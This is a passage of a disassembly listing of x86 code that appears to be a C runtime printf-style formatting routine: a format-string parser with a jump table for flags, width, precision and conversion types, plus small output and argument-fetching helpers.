		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_48B340[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_419DE5
; ---------------------------------------------------------------------------

loc_419DE0:				; CODE XREF: sub_419D23+A5j
		mov	eax, offset dword_43BC20

loc_419DE5:				; CODE XREF: sub_419D23+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_419DF8
		push	2
		push	0
		push	ebx
		call	sub_41E517
		add	esp, 0Ch

loc_419DF8:				; CODE XREF: sub_419D23+A0j
					; sub_419D23+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_419E16
; ---------------------------------------------------------------------------

loc_419E02:				; CODE XREF: sub_419D23+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_41ED97
		add	esp, 0Ch
		mov	[ebp+arg_4], eax

loc_419E16:				; CODE XREF: sub_419D23+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_419E22
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_419E31
; ---------------------------------------------------------------------------

loc_419E22:				; CODE XREF: sub_419D23+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_419E34
; ---------------------------------------------------------------------------

loc_419E2C:				; CODE XREF: sub_419D23+10j
					; sub_419D23+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax

loc_419E31:				; CODE XREF: sub_419D23+FDj
		or	eax, 0FFFFFFFFh

loc_419E34:				; CODE XREF: sub_419D23+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419D23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E38	proc near		; CODE XREF: sub_4172B0+29p
					; sub_41782A+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41A551
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_419E6C
; ---------------------------------------------------------------------------

loc_419E64:				; CODE XREF: sub_419E38+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx

loc_419E6C:				; CODE XREF: sub_419E38+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41A551
		cmp	bl, 20h
		jl	short loc_419E8D
		cmp	bl, 78h
		jg	short loc_419E8D
		movsx	eax, bl
		mov	al, [eax+42469Ch]
		and	eax, 0Fh
		jmp	short loc_419E8F
; ---------------------------------------------------------------------------

loc_419E8D:				; CODE XREF: sub_419E38+40j
					; sub_419E38+45j
		xor	eax, eax

loc_419E8F:				; CODE XREF: sub_419E38+53j
		movsx	eax, byte_4246BC[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41A540	; default
		jmp	off_41A559[eax*4] ; switch jump

loc_419EAD:				; DATA XREF: ___:off_41A559o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 00419EA6 case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419EC8:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		movsx	eax, bl		; jumptable 00419EA6 case 2
		sub	eax, 20h
		jz	short loc_419F0B
		sub	eax, 3
		jz	short loc_419F02
		sub	eax, 8
		jz	short loc_419EF9
		dec	eax
		dec	eax
		jz	short loc_419EF0
		sub	eax, 3
		jnz	loc_41A540	; default
		or	[ebp+var_4], 8
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419EF0:				; CODE XREF: sub_419E38+A4j
		or	[ebp+var_4], 4
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419EF9:				; CODE XREF: sub_419E38+A0j
		or	[ebp+var_4], 1
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419F02:				; CODE XREF: sub_419E38+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419F0B:				; CODE XREF: sub_419E38+96j
		or	[ebp+var_4], 2
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419F14:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		cmp	bl, 2Ah		; jumptable 00419EA6 case 3
		jnz	short loc_419F3C
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41A540	; default
		or	[ebp+var_4], 4
		neg	eax

loc_419F34:				; CODE XREF: sub_419E38+111j
		mov	[ebp+var_20], eax
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419F3C:				; CODE XREF: sub_419E38+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_419F34
; ---------------------------------------------------------------------------

loc_419F4B:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		mov	[ebp+var_10], edx ; jumptable 00419EA6 case 4
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419F53:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		cmp	bl, 2Ah		; jumptable 00419EA6 case 5
		jnz	short loc_419F76
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41A540	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419F76:				; CODE XREF: sub_419E38+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419F88:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		cmp	bl, 49h		; jumptable 00419EA6 case 6
		jz	short loc_419FBB
		cmp	bl, 68h
		jz	short loc_419FB2
		cmp	bl, 6Ch
		jz	short loc_419FA9
		cmp	bl, 77h
		jnz	loc_41A540	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419FA9:				; CODE XREF: sub_419E38+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419FB2:				; CODE XREF: sub_419E38+158j
		or	[ebp+var_4], 20h
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419FBB:				; CODE XREF: sub_419E38+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_419FD4
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_419FD4
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419FD4:				; CODE XREF: sub_419E38+186j
					; sub_419E38+18Cj
		mov	[ebp+var_30], edx

loc_419FD7:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		mov	ecx, off_4395A0	; jumptable 00419EA6 case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41A003
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41A579
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi

loc_41A003:				; CODE XREF: sub_419E38+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41A579
		add	esp, 0Ch
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_41A01B:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		movsx	eax, bl		; jumptable 00419EA6 case 7
		cmp	eax, 67h
		jg	loc_41A243
		cmp	eax, 65h
		jge	loc_41A0C6
		cmp	eax, 58h
		jg	loc_41A124
		jz	loc_41A2B7
		sub	eax, 43h
		jz	loc_41A0E7
		dec	eax
		dec	eax
		jz	short loc_41A0BC
		dec	eax
		dec	eax
		jz	short loc_41A0BC
		sub	eax, 0Ch
		jnz	loc_41A442
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41A065
		or	byte ptr [ebp+var_4+1],	8

loc_41A065:				; CODE XREF: sub_419E38+227j
					; sub_419E38+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41A072
		mov	esi, 7FFFFFFFh

loc_41A072:				; CODE XREF: sub_419E38+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41A28B
		test	ecx, ecx
		jnz	short loc_41A09A
		mov	ecx, off_43959C
		mov	[ebp+var_8], ecx

loc_41A09A:				; CODE XREF: sub_419E38+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx

loc_41A0A3:				; CODE XREF: sub_419E38+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41A282
		cmp	word ptr [eax],	0
		jz	loc_41A282
		inc	eax
		inc	eax
		jmp	short loc_41A0A3
; ---------------------------------------------------------------------------

loc_41A0BC:				; CODE XREF: sub_419E38+212j
					; sub_419E38+216j
		mov	[ebp+var_34], 1
		add	bl, 20h

loc_41A0C6:				; CODE XREF: sub_419E38+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41A1AA
		mov	[ebp+var_10], 6
		jmp	loc_41A1B8
; ---------------------------------------------------------------------------

loc_41A0E7:				; CODE XREF: sub_419E38+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41A0F3
		or	byte ptr [ebp+var_4+1],	8

loc_41A0F3:				; CODE XREF: sub_419E38+2B5j
					; sub_419E38+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41A13A
		call	sub_41A634
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41FAFB
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41A14D
		mov	[ebp+var_28], 1
		jmp	short loc_41A14D
; ---------------------------------------------------------------------------

loc_41A124:				; CODE XREF: sub_419E38+1FBj
		sub	eax, 5Ah
		jz	short loc_41A15B
		sub	eax, 9
		jz	short loc_41A0F3
		dec	eax
		jz	loc_41A31D
		jmp	loc_41A442
; ---------------------------------------------------------------------------

loc_41A13A:				; CODE XREF: sub_419E38+2C5j
		call	sub_41A617
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1

loc_41A14D:				; CODE XREF: sub_419E38+2E1j
					; sub_419E38+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41A442
; ---------------------------------------------------------------------------

loc_41A15B:				; CODE XREF: sub_419E38+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	eax, eax
		pop	ecx
		jz	short loc_41A19C
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41A19C
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41A18D
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41A442
; ---------------------------------------------------------------------------

loc_41A18D:				; CODE XREF: sub_419E38+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41A43F
; ---------------------------------------------------------------------------

loc_41A19C:				; CODE XREF: sub_419E38+32Fj
					; sub_419E38+336j
		mov	eax, off_439598
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41A238
; ---------------------------------------------------------------------------

loc_41A1AA:				; CODE XREF: sub_419E38+29Dj
		jnz	short loc_41A1B8
		cmp	bl, 67h
		jnz	short loc_41A1B8
		mov	[ebp+var_10], 1

loc_41A1B8:				; CODE XREF: sub_419E38+2AAj
					; sub_419E38:loc_41A1AAj ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43B900
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41A20A
		cmp	[ebp+var_10], 0
		jnz	short loc_41A20A
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43B90C
		pop	ecx

loc_41A20A:				; CODE XREF: sub_419E38+3BCj
					; sub_419E38+3C2j
		cmp	bl, 67h
		jnz	short loc_41A221
		test	esi, esi
		jnz	short loc_41A221
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43B904
		pop	ecx

loc_41A221:				; CODE XREF: sub_419E38+3D5j
					; sub_419E38+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41A237
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi

loc_41A237:				; CODE XREF: sub_419E38+3F0j
		push	edi

loc_41A238:				; CODE XREF: sub_419E38+36Dj
		call	sub_417AB0
		pop	ecx
		jmp	loc_41A43F
; ---------------------------------------------------------------------------

loc_41A243:				; CODE XREF: sub_419E38+1E9j
		sub	eax, 69h
		jz	loc_41A31D
		sub	eax, 5
		jz	loc_41A2F3
		dec	eax
		jz	loc_41A2E0
		dec	eax
		jz	short loc_41A2B0
		sub	eax, 3
		jz	loc_41A065
		dec	eax
		dec	eax
		jz	loc_41A321
		sub	eax, 3
		jnz	loc_41A442
		mov	[ebp+var_2C], 27h
		jmp	short loc_41A2BE
; ---------------------------------------------------------------------------

loc_41A282:				; CODE XREF: sub_419E38+270j
					; sub_419E38+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41A43F
; ---------------------------------------------------------------------------

loc_41A28B:				; CODE XREF: sub_419E38+24Fj
		test	ecx, ecx
		jnz	short loc_41A298
		mov	ecx, off_439598
		mov	[ebp+var_8], ecx

loc_41A298:				; CODE XREF: sub_419E38+455j
		mov	eax, ecx

loc_41A29A:				; CODE XREF: sub_419E38+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41A2A9
		cmp	byte ptr [eax],	0
		jz	short loc_41A2A9
		inc	eax
		jmp	short loc_41A29A
; ---------------------------------------------------------------------------

loc_41A2A9:				; CODE XREF: sub_419E38+467j
					; sub_419E38+46Cj
		sub	eax, ecx
		jmp	loc_41A43F
; ---------------------------------------------------------------------------

loc_41A2B0:				; CODE XREF: sub_419E38+425j
		mov	[ebp+var_10], 8

loc_41A2B7:				; CODE XREF: sub_419E38+201j
		mov	[ebp+var_2C], 7

loc_41A2BE:				; CODE XREF: sub_419E38+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41A328
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41A328
; ---------------------------------------------------------------------------

loc_41A2E0:				; CODE XREF: sub_419E38+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41A328
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41A328
; ---------------------------------------------------------------------------

loc_41A2F3:				; CODE XREF: sub_419E38+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41A30C
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41A311
; ---------------------------------------------------------------------------

loc_41A30C:				; CODE XREF: sub_419E38+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx

loc_41A311:				; CODE XREF: sub_419E38+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_41A31D:				; CODE XREF: sub_419E38+2F7j
					; sub_419E38+40Ej
		or	[ebp+var_4], 40h

loc_41A321:				; CODE XREF: sub_419E38+432j
		mov	[ebp+var_C], 0Ah

loc_41A328:				; CODE XREF: sub_419E38+491j
					; sub_419E38+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41A33A
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A624
		pop	ecx
		jmp	short loc_41A37B
; ---------------------------------------------------------------------------

loc_41A33A:				; CODE XREF: sub_419E38+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41A361
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41A356
		call	sub_41A617
		pop	ecx
		movsx	eax, ax

loc_41A353:				; CODE XREF: sub_419E38+527j
					; sub_419E38+539j
		cdq
		jmp	short loc_41A37B
; ---------------------------------------------------------------------------

loc_41A356:				; CODE XREF: sub_419E38+510j
		call	sub_41A617
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41A353
; ---------------------------------------------------------------------------

loc_41A361:				; CODE XREF: sub_419E38+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41A373
		call	sub_41A617
		pop	ecx
		jmp	short loc_41A353
; ---------------------------------------------------------------------------

loc_41A373:				; CODE XREF: sub_419E38+531j
		call	sub_41A617
		pop	ecx
		xor	edx, edx

loc_41A37B:				; CODE XREF: sub_419E38+500j
					; sub_419E38+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41A39C
		test	edx, edx
		jg	short loc_41A39C
		jl	short loc_41A38B
		test	eax, eax
		jnb	short loc_41A39C

loc_41A38B:				; CODE XREF: sub_419E38+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41A3A0
; ---------------------------------------------------------------------------

loc_41A39C:				; CODE XREF: sub_419E38+547j
					; sub_419E38+54Bj ...
		mov	esi, eax
		mov	edi, edx

loc_41A3A0:				; CODE XREF: sub_419E38+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41A3A9
		and	edi, 0

loc_41A3A9:				; CODE XREF: sub_419E38+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41A3B8
		mov	[ebp+var_10], 1
		jmp	short loc_41A3BC
; ---------------------------------------------------------------------------

loc_41A3B8:				; CODE XREF: sub_419E38+575j
		and	[ebp+var_4], 0FFFFFFF7h

loc_41A3BC:				; CODE XREF: sub_419E38+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41A3C6
		and	[ebp+var_1C], 0

loc_41A3C6:				; CODE XREF: sub_419E38+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax

loc_41A3CC:				; CODE XREF: sub_419E38+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41A3DC
		mov	eax, esi
		or	eax, edi
		jz	short loc_41A417

loc_41A3DC:				; CODE XREF: sub_419E38+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_4191D0
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_419250
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41A40D
		add	ebx, [ebp+var_2C]

loc_41A40D:				; CODE XREF: sub_419E38+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41A3CC
; ---------------------------------------------------------------------------

loc_41A417:				; CODE XREF: sub_419E38+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41A442
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41A435
		test	eax, eax
		jnz	short loc_41A442

loc_41A435:				; CODE XREF: sub_419E38+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h

loc_41A43F:				; CODE XREF: sub_419E38+35Fj
					; sub_419E38+406j ...
		mov	[ebp+var_C], eax

loc_41A442:				; CODE XREF: sub_419E38+21Bj
					; sub_419E38+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41A540	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41A47A
		test	bh, 1
		jz	short loc_41A45F
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41A473
; ---------------------------------------------------------------------------

loc_41A45F:				; CODE XREF: sub_419E38+61Fj
		test	bl, 1
		jz	short loc_41A46A
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41A473
; ---------------------------------------------------------------------------

loc_41A46A:				; CODE XREF: sub_419E38+62Aj
		test	bl, 2
		jz	short loc_41A47A
		mov	[ebp+var_16], 20h

loc_41A473:				; CODE XREF: sub_419E38+625j
					; sub_419E38+630j
		mov	[ebp+var_1C], 1

loc_41A47A:				; CODE XREF: sub_419E38+61Aj
					; sub_419E38+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41A49A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41A5AE
		add	esp, 10h

loc_41A49A:				; CODE XREF: sub_419E38+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41A5DF
		add	esp, 10h
		test	bl, 8
		jz	short loc_41A4CC
		test	bl, 4
		jnz	short loc_41A4CC
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41A5AE
		add	esp, 10h

loc_41A4CC:				; CODE XREF: sub_419E38+67Bj
					; sub_419E38+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41A513
		cmp	[ebp+var_C], 0
		jle	short loc_41A513
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]

loc_41A4E1:				; CODE XREF: sub_419E38+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_41FAFB
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41A528
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41A5DF
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41A4E1
		jmp	short loc_41A528
; ---------------------------------------------------------------------------

loc_41A513:				; CODE XREF: sub_419E38+698j
					; sub_419E38+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41A5DF
		add	esp, 10h

loc_41A528:				; CODE XREF: sub_419E38+6BCj
					; sub_419E38+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41A540 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41A5AE
		add	esp, 10h

loc_41A540:				; CODE XREF: sub_419E38+68j
					; sub_419E38+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_419E64

loc_41A551:				; CODE XREF: sub_419E38+1Fj
					; sub_419E38+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419E38	endp

; ---------------------------------------------------------------------------
off_41A559	dd offset loc_419FD7	; DATA XREF: sub_419E38+6Er
		dd offset loc_419EAD	; jump table for switch	statement
		dd offset loc_419EC8
		dd offset loc_419F14
		dd offset loc_419F4B
		dd offset loc_419F53
		dd offset loc_419F88
		dd offset loc_41A01B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A579	proc near		; CODE XREF: sub_419E38+1BDp
					; sub_419E38+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41A592
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41A59D
; ---------------------------------------------------------------------------

loc_41A592:				; CODE XREF: sub_41A579+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_419D23
		pop	ecx
		pop	ecx

loc_41A59D:				; CODE XREF: sub_41A579+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41A5AA
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41A5AA:				; CODE XREF: sub_41A579+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41A579	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A5AE	proc near		; CODE XREF: sub_419E38+65Ap
					; sub_419E38+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41A5DC
		mov	esi, [esp+8+arg_C]

loc_41A5BF:				; CODE XREF: sub_41A5AE+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41A579
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41A5DC
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41A5BF

loc_41A5DC:				; CODE XREF: sub_41A5AE+Bj
					; sub_41A5AE+25j
		pop	edi
		pop	esi
		retn
sub_41A5AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A5DF	proc near		; CODE XREF: sub_419E38+670p
					; sub_419E38+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41A613
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]

loc_41A5F5:				; CODE XREF: sub_41A5DF+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41A579
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41A613
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41A5F5

loc_41A613:				; CODE XREF: sub_41A5DF+Cj
					; sub_41A5DF+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A5DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A617	proc near		; CODE XREF: sub_419E38+E5p
					; sub_419E38+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41A617	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A624	proc near		; CODE XREF: sub_419E38+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41A624	endp


; =============== S U B	R O U T	I N E =======================================



